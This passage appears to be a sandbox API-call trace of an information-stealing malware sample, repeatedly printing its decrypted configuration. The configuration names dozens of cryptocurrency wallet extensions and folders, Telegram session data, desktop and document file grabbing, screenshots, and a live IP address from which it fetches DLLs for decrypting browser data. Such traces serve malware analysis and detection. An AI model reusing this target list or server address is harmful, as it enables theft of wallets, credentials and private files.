Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.193] StrStrW (lpFirst="Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.193] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.193] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6ef5a0 [0266.194] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.194] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6f1ee8 [0266.194] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension 